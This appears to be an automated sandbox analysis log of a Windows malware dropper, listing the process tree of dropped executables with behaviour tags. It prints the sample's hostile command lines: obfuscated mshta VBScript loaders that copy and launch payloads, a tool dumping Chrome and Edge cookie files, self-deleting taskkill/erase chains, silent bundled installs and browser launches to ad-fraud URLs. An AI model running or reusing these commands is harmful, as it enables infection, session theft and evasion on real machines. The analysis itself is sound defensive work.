C:\Users\Admin\Documents\eSBkvaUl7sRtA7Qh7Ne91x8D.exe
C:\Users\Admin\Documents\eSBkvaUl7sRtA7Qh7Ne91x8D.exe
3⤵
- Executes dropped EXE
PID:2432

C:\Users\Admin\Documents\eSBkvaUl7sRtA7Qh7Ne91x8D.exe
C:\Users\Admin\Documents\eSBkvaUl7sRtA7Qh7Ne91x8D.exe
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2240

C:\Users\Admin\Documents\VTGU0ajEwmUUi0d_X7aRCSVv.exe
"C:\Users\Admin\Documents\VTGU0ajEwmUUi0d_X7aRCSVv.exe"
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1440

C:\Users\Admin\Documents\I7LpJlOf7wt78rukNZ4zGZRg.exe
"C:\Users\Admin\Documents\I7LpJlOf7wt78rukNZ4zGZRg.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1924

C:\Users\Admin\AppData\Roaming\8980020.exe
"C:\Users\Admin\AppData\Roaming\8980020.exe"
3⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2564

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2564 -s 1848
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1788

C:\Users\Admin\AppData\Roaming\1711777.exe
"C:\Users\Admin\AppData\Roaming\1711777.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
PID:2696

C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
4⤵
- Executes dropped EXE
PID:2272

C:\Users\Admin\AppData\Roaming\8244320.exe
"C:\Users\Admin\AppData\Roaming\8244320.exe"
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3036

C:\Users\Admin\AppData\Roaming\6810979.exe
"C:\Users\Admin\AppData\Roaming\6810979.exe"
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2524

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2524 -s 1692
4⤵
- Loads dropped DLL
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1668

C:\Users\Admin\Documents\ql8kErLtdJtMYazDIjXD73Qa.exe
"C:\Users\Admin\Documents\ql8kErLtdJtMYazDIjXD73Qa.exe"
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1940

C:\Users\Admin\Documents\aon9rPvmwx5iJQ45kjJzixck.exe
"C:\Users\Admin\Documents\aon9rPvmwx5iJQ45kjJzixck.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:860

C:\Users\Admin\Documents\aon9rPvmwx5iJQ45kjJzixck.exe
"C:\Users\Admin\Documents\aon9rPvmwx5iJQ45kjJzixck.exe"
3⤵
PID:2988

C:\Users\Admin\Documents\6BeAkTs_kk49IusYiiOETTR5.exe
"C:\Users\Admin\Documents\6BeAkTs_kk49IusYiiOETTR5.exe"
2⤵
- Executes dropped EXE
PID:1552

C:\Users\Admin\Documents\6BeAkTs_kk49IusYiiOETTR5.exe
"C:\Users\Admin\Documents\6BeAkTs_kk49IusYiiOETTR5.exe"
3⤵
PID:2364

C:\Users\Admin\Documents\mCqCK4nlJKKroJZ8_sRTtR6o.exe
"C:\Users\Admin\Documents\mCqCK4nlJKKroJZ8_sRTtR6o.exe"
2⤵
- Executes dropped EXE
PID:560

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbSCRipt:ClOSe( creATEoBJEcT("WscRIpT.sHEll" ).RUN("Cmd /Q /C tYPe ""C:\Users\Admin\Documents\mCqCK4nlJKKroJZ8_sRTtR6o.exe"" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if """" == """" for %W iN ( ""C:\Users\Admin\Documents\mCqCK4nlJKKroJZ8_sRTtR6o.exe"" ) do taskkill -IM ""%~nXW"" -f " ,0 ,TRUE ) )
3⤵
- Modifies Internet Explorer settings
- Suspicious use of AdjustPrivilegeToken
PID:1824

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /C tYPe "C:\Users\Admin\Documents\mCqCK4nlJKKroJZ8_sRTtR6o.exe" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if ""=="" for %W iN ( "C:\Users\Admin\Documents\mCqCK4nlJKKroJZ8_sRTtR6o.exe") do taskkill -IM "%~nXW" -f
4⤵
PID:1596

C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe
WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9
5⤵
- Executes dropped EXE
PID:2036

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbSCRipt:ClOSe( creATEoBJEcT("WscRIpT.sHEll" ).RUN("Cmd /Q /C tYPe ""C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe"" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if ""-PifOcLbay~PF~N8a_e9RyKpu9 "" == """" for %W iN ( ""C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe"" ) do taskkill -IM ""%~nXW"" -f " ,0 ,TRUE ) )
6⤵
- Modifies Internet Explorer settings
PID:2256

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /C tYPe "C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if "-PifOcLbay~PF~N8a_e9RyKpu9 "=="" for %W iN ( "C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe") do taskkill -IM "%~nXW" -f
7⤵
PID:2176

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" ~IWm4Wh.I,nKhkoYTFE
6⤵
- Loads dropped DLL
PID:2828

C:\Windows\SysWOW64\taskkill.exe
taskkill -IM "mCqCK4nlJKKroJZ8_sRTtR6o.exe" -f
5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2420

C:\Users\Admin\Documents\SiMHo3Cxrffmm636eRwXpqMY.exe
"C:\Users\Admin\Documents\SiMHo3Cxrffmm636eRwXpqMY.exe"
2⤵
- Executes dropped EXE
PID:2068

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "SiMHo3Cxrffmm636eRwXpqMY.exe" /f & erase "C:\Users\Admin\Documents\SiMHo3Cxrffmm636eRwXpqMY.exe" & exit
3⤵
PID:2996

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "SiMHo3Cxrffmm636eRwXpqMY.exe" /f
4⤵
- Kills process with taskkill
PID:1824

C:\Users\Admin\Documents\zIbOzMNYwr_r25_c8JqqIZf5.exe
"C:\Users\Admin\Documents\zIbOzMNYwr_r25_c8JqqIZf5.exe"
2⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2116

C:\Users\Admin\Documents\7Jf0NIqkSK6k71gmKLgTDu19.exe
"C:\Users\Admin\Documents\7Jf0NIqkSK6k71gmKLgTDu19.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
PID:2100

C:\Program Files (x86)\Company\NewProduct\customer3.exe
"C:\Program Files (x86)\Company\NewProduct\customer3.exe"
3⤵
- Executes dropped EXE
PID:760

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
PID:3012

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /DeleteCookiesWildcard "*.facebook.com"
4⤵
- Executes dropped EXE
PID:2164

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
- Executes dropped EXE
PID:2228

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /DeleteCookiesWildcard "*.facebook.com"
4⤵
- Executes dropped EXE
PID:2172

C:\Users\Admin\AppData\Local\Temp\22222.exe
C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
- Executes dropped EXE
PID:1948

C:\Users\Admin\AppData\Local\Temp\22222.exe
C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /DeleteCookiesWildcard "*.facebook.com"
4⤵
- Executes dropped EXE
PID:2304

C:\Users\Admin\AppData\Local\Temp\22222.exe
C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
PID:956

C:\Users\Admin\AppData\Local\Temp\22222.exe
C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /DeleteCookiesWildcard "*.facebook.com"
4⤵
PID:2736

C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
3⤵
- Executes dropped EXE
- Modifies system certificate store
PID:1276

C:\Program Files (x86)\Company\NewProduct\jooyu.exe
"C:\Program Files (x86)\Company\NewProduct\jooyu.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2976

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
- Executes dropped EXE
PID:2636

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1616

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
PID:4412

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
PID:2848

C:\Users\Admin\Documents\44it3_f9rjPnDsg73rzaxrqr.exe
"C:\Users\Admin\Documents\44it3_f9rjPnDsg73rzaxrqr.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:2088

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im 44it3_f9rjPnDsg73rzaxrqr.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\44it3_f9rjPnDsg73rzaxrqr.exe" & del C:\ProgramData\*.dll & exit
3⤵
PID:1100

C:\Windows\SysWOW64\taskkill.exe
taskkill /im 44it3_f9rjPnDsg73rzaxrqr.exe /f
4⤵
- Kills process with taskkill
PID:2560

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
4⤵
- Delays execution with timeout.exe
PID:3044

C:\Users\Admin\Documents\VqBq21mGxHuHutfbP8ShjWGA.exe
"C:\Users\Admin\Documents\VqBq21mGxHuHutfbP8ShjWGA.exe"
2⤵
- Executes dropped EXE
PID:2052

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "VqBq21mGxHuHutfbP8ShjWGA.exe" /f & erase "C:\Users\Admin\Documents\VqBq21mGxHuHutfbP8ShjWGA.exe" & exit
3⤵
PID:2960

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "VqBq21mGxHuHutfbP8ShjWGA.exe" /f
4⤵
- Kills process with taskkill
PID:2660

C:\Users\Admin\Documents\mvWL8je5yu1dQeHCggvwKKXr.exe
"C:\Users\Admin\Documents\mvWL8je5yu1dQeHCggvwKKXr.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1488

C:\Users\Admin\AppData\Local\Temp\is-F78FN.tmp\mvWL8je5yu1dQeHCggvwKKXr.tmp
"C:\Users\Admin\AppData\Local\Temp\is-F78FN.tmp\mvWL8je5yu1dQeHCggvwKKXr.tmp" /SL5="$4012E,138429,56832,C:\Users\Admin\Documents\mvWL8je5yu1dQeHCggvwKKXr.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of FindShellTrayWindow
PID:2512

C:\Users\Admin\AppData\Local\Temp\is-T9KG8.tmp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\is-T9KG8.tmp\Setup.exe" /Verysilent
4⤵
PID:2896

C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe
"C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe" /Verysilent
5⤵
PID:2504

C:\Users\Admin\AppData\Local\Temp\is-7M3CH.tmp\Stats.tmp
"C:\Users\Admin\AppData\Local\Temp\is-7M3CH.tmp\Stats.tmp" /SL5="$301A0,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe" /Verysilent
6⤵
PID:1548

C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe
"C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe"
5⤵
PID:1764

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im runvd.exe /f & timeout /t 6 & del /f /q "C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe" & del C:\ProgramData\*.dll & exit
6⤵
PID:2352

C:\Windows\SysWOW64\taskkill.exe
taskkill /im runvd.exe /f
7⤵
- Kills process with taskkill
PID:2516

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
7⤵
- Delays execution with timeout.exe
PID:1972

C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe
"C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent
5⤵
PID:1660

C:\Users\Admin\AppData\Local\Temp\is-4ARJN.tmp\Inlog.tmp
"C:\Users\Admin\AppData\Local\Temp\is-4ARJN.tmp\Inlog.tmp" /SL5="$202DA,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent
6⤵
PID:1104

C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe
"C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SID=717 CID=717 SILENT=1 /quiet
5⤵
PID:2744

C:\Windows\SysWOW64\msiexec.exe
"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner 1.0.0\install\FD7DF1F\Cleaner Installation.msi" SID=717 CID=717 SILENT=1 /quiet AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629548210 SID=717 CID=717 SILENT=1 /quiet " SID="717" CID="717"
6⤵
PID:2292

C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe
"C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent
5⤵
PID:2576

C:\Users\Admin\AppData\Local\Temp\is-RAPHM.tmp\VPN.tmp
"C:\Users\Admin\AppData\Local\Temp\is-RAPHM.tmp\VPN.tmp" /SL5="$202E4,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent
6⤵
PID:1428

C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe
"C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"
5⤵
PID:3008

C:\Users\Admin\AppData\Local\Temp\is-ON5H2.tmp\MediaBurner2.tmp
"C:\Users\Admin\AppData\Local\Temp\is-ON5H2.tmp\MediaBurner2.tmp" /SL5="$10366,506127,422400,C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"
6⤵
PID:556

C:\Users\Admin\AppData\Local\Temp\is-G7NN8.tmp\ultradumnibour.exe
"C:\Users\Admin\AppData\Local\Temp\is-G7NN8.tmp\ultradumnibour.exe" /S /UID=burnerch2
7⤵
PID:2308

C:\Program Files\Google\JAVMUPVEKY\ultramediaburner.exe
"C:\Program Files\Google\JAVMUPVEKY\ultramediaburner.exe" /VERYSILENT
8⤵
PID:2192

C:\Users\Admin\AppData\Local\Temp\is-QS7V7.tmp\ultramediaburner.tmp
"C:\Users\Admin\AppData\Local\Temp\is-QS7V7.tmp\ultramediaburner.tmp" /SL5="$1042A,281924,62464,C:\Program Files\Google\JAVMUPVEKY\ultramediaburner.exe" /VERYSILENT
9⤵
PID:3412

C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
10⤵
PID:1160

C:\Users\Admin\AppData\Local\Temp\37-d8e04-5f9-1c5a3-889beddd660d3\Caetuhaxasho.exe
"C:\Users\Admin\AppData\Local\Temp\37-d8e04-5f9-1c5a3-889beddd660d3\Caetuhaxasho.exe"
8⤵
PID:1488

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
9⤵
PID:3592

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3592 CREDAT:275457 /prefetch:2
10⤵
PID:2232

C:\Users\Admin\AppData\Local\Temp\260315904.exe
"C:\Users\Admin\AppData\Local\Temp\260315904.exe"
11⤵
PID:4380

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3592 CREDAT:1389580 /prefetch:2
10⤵
PID:3876

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3592 CREDAT:340994 /prefetch:2
10⤵
PID:2264

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3592 CREDAT:603150 /prefetch:2
10⤵
PID:296

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3592 CREDAT:1324057 /prefetch:2
10⤵
PID:3428

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad
9⤵
PID:3380

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3380 CREDAT:275457 /prefetch:2
10⤵
PID:1600

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?zoneid=1851483
9⤵
PID:3628

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?zoneid=1851513
9⤵
PID:2188

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2188 CREDAT:275457 /prefetch:2
10⤵
- Suspicious behavior: EnumeratesProcesses
PID:3036

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" http://www.directdexchange.com/jump/next.php?r=2087215
9⤵
PID:3396

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3396 CREDAT:275457 /prefetch:2
10⤵
PID:3460

C:\Users\Admin\AppData\Local\Temp\0e-b52f3-0cf-c15bf-780d0259435b4\Baegagulaemae.exe
"C:\Users\Admin\AppData\Local\Temp\0e-b52f3-0cf-c15bf-780d0259435b4\Baegagulaemae.exe"
8⤵
PID:2372

C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe
"C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe" /Verysilent
5⤵
PID:1596

C:\Users\Admin\AppData\Local\Temp\is-C4HDS.tmp\WEATHER Manager.tmp
"C:\Users\Admin\AppData\Local\Temp\is-C4HDS.tmp\WEATHER Manager.tmp" /SL5="$10368,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe" /Verysilent
6⤵
PID:2176

C:\Users\Admin\AppData\Local\Temp\is-LC8GK.tmp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\is-LC8GK.tmp\Setup.exe" /quiet SILENT=1 AF=715 BF=715
7⤵
PID:3328

C:\Windows\SysWOW64\msiexec.exe
"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=715 BF=715 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\is-LC8GK.tmp\Setup.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\is-LC8GK.tmp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629548210 /quiet SILENT=1 AF=715 BF=715 " AF="715" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912" BF="715"
8⤵
PID:432

C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe
"C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe"
5⤵
PID:1520

C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe
"C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe"
5⤵
PID:2676

C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe
"C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe" -q
6⤵
PID:1632

C:\Program Files (x86)\GameBox INC\GameBox\LivelyScreenRecS1.9.exe
"C:\Program Files (x86)\GameBox INC\GameBox\LivelyScreenRecS1.9.exe"
5⤵
PID:1456

C:\Users\Admin\AppData\Local\Temp\tmp14F7_tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmp14F7_tmp.exe"
6⤵
PID:3428

C:\Windows\SysWOW64\dllhost.exe
"C:\Windows\System32\dllhost.exe"
7⤵
PID:4876

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c cmd < Eravate.wks
7⤵
PID:5100

C:\Windows\SysWOW64\cmd.exe
cmd
8⤵
PID:3172

C:\Windows\SysWOW64\findstr.exe
findstr /V /R "^ULDdlRJfZsbrDapCbeEYycZEgRIWBtYuQhzBPWvHncPJJvLmMbGEuHBnMZeapMOUzsjfZIMBGWAJGfVSyolrbxqpLUPQTrnLHUdspcArKyXpiRSvrlhqBKbYsrEtT$" Una.wks
9⤵
PID:2092

C:\Windows\SysWOW64\PING.EXE
ping MRBKYMNO -n 30
9⤵
- Loads dropped DLL
- Runs ping.exe
PID:1596

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
Esplorarne.exe.com i
9⤵
PID:4484

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i
10⤵
PID:3704

C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe
"C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe"
5⤵
PID:1512

C:\Users\Admin\Documents\h18AoSLZ2qMNn_0pzn3BHKM3.exe
"C:\Users\Admin\Documents\h18AoSLZ2qMNn_0pzn3BHKM3.exe"
6⤵
PID:1192

C:\Users\Admin\Documents\h18AoSLZ2qMNn_0pzn3BHKM3.exe
C:\Users\Admin\Documents\h18AoSLZ2qMNn_0pzn3BHKM3.exe
7⤵
PID:3772

C:\Users\Admin\Documents\h18AoSLZ2qMNn_0pzn3BHKM3.exe
C:\Users\Admin\Documents\h18AoSLZ2qMNn_0pzn3BHKM3.exe
7⤵
PID:3852

C:\Users\Admin\Documents\snFli34JEdQ2YiTpM1dmo65h.exe
"C:\Users\Admin\Documents\snFli34JEdQ2YiTpM1dmo65h.exe"
6⤵
PID:1536

C:\Users\Admin\AppData\Roaming\4620195.exe
"C:\Users\Admin\AppData\Roaming\4620195.exe"
7⤵
PID:3340

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3340 -s 380
8⤵
- Program crash
PID:3100

C:\Users\Admin\AppData\Roaming\1428823.exe
"C:\Users\Admin\AppData\Roaming\1428823.exe"
7⤵
PID:3540

C:\Users\Admin\AppData\Roaming\8233224.exe
"C:\Users\Admin\AppData\Roaming\8233224.exe"
7⤵
PID:3044

C:\Users\Admin\AppData\Roaming\2805390.exe
"C:\Users\Admin\AppData\Roaming\2805390.exe"
7⤵
PID:3488

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3488 -s 1672
8⤵
- Program crash
PID:4496

C:\Users\Admin\Documents\LXMc2ZYVDrxS3xDjcayFyUWA.exe
"C:\Users\Admin\Documents\LXMc2ZYVDrxS3xDjcayFyUWA.exe"
6⤵
PID:2404

C:\Users\Admin\Documents\pIdWMKgTEJiWNYD6XkDHxj8P.exe
"C:\Users\Admin\Documents\pIdWMKgTEJiWNYD6XkDHxj8P.exe"
6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2988

C:\Users\Admin\Documents\8fMl4qZdFr6Gt3iFLYJVarq3.exe
"C:\Users\Admin\Documents\8fMl4qZdFr6Gt3iFLYJVarq3.exe"
6⤵
PID:3168

C:\Users\Admin\Documents\YnlSkTPpXd0Y_sL9ATtseMmm.exe
"C:\Users\Admin\Documents\YnlSkTPpXd0Y_sL9ATtseMmm.exe"
6⤵
PID:3160

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "YnlSkTPpXd0Y_sL9ATtseMmm.exe" /f & erase "C:\Users\Admin\Documents\YnlSkTPpXd0Y_sL9ATtseMmm.exe" & exit
7⤵
PID:3348

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "YnlSkTPpXd0Y_sL9ATtseMmm.exe" /f
8⤵
- Kills process with taskkill
PID:4752

C:\Users\Admin\Documents\QnrLC214trwDVJTD70YeYb8P.exe
"C:\Users\Admin\Documents\QnrLC214trwDVJTD70YeYb8P.exe"
6⤵
PID:3148

C:\Users\Admin\Documents\hOCRHcCsF18m2uJ97oWKOqkJ.exe
"C:\Users\Admin\Documents\hOCRHcCsF18m2uJ97oWKOqkJ.exe"
6⤵
PID:3140

C:\Users\Admin\Documents\qCA7b74AO9YuSx49tMN9vtBg.exe
"C:\Users\Admin\Documents\qCA7b74AO9YuSx49tMN9vtBg.exe"
6⤵
PID:3132

C:\Users\Admin\Documents\nTHIaIOCWLstBKthxWWA3GD2.exe
"C:\Users\Admin\Documents\nTHIaIOCWLstBKthxWWA3GD2.exe"
6⤵
PID:3124

C:\Users\Admin\Documents\uQM6ClHWn63cv1KMltXPixfH.exe
"C:\Users\Admin\Documents\uQM6ClHWn63cv1KMltXPixfH.exe"
6⤵
PID:3116

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\HjlhOSKY7b.bat"
7⤵
PID:2996

C:\Windows\system32\chcp.com
chcp 65001
8⤵
PID:3108

C:\Windows\system32\w32tm.exe
w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
8⤵
PID:2700

C:\Program Files (x86)\Windows NT\Accessories\en-US\Inlog.tmp.exe
"C:\Program Files (x86)\Windows NT\Accessories\en-US\Inlog.tmp.exe"
8⤵
PID:2596

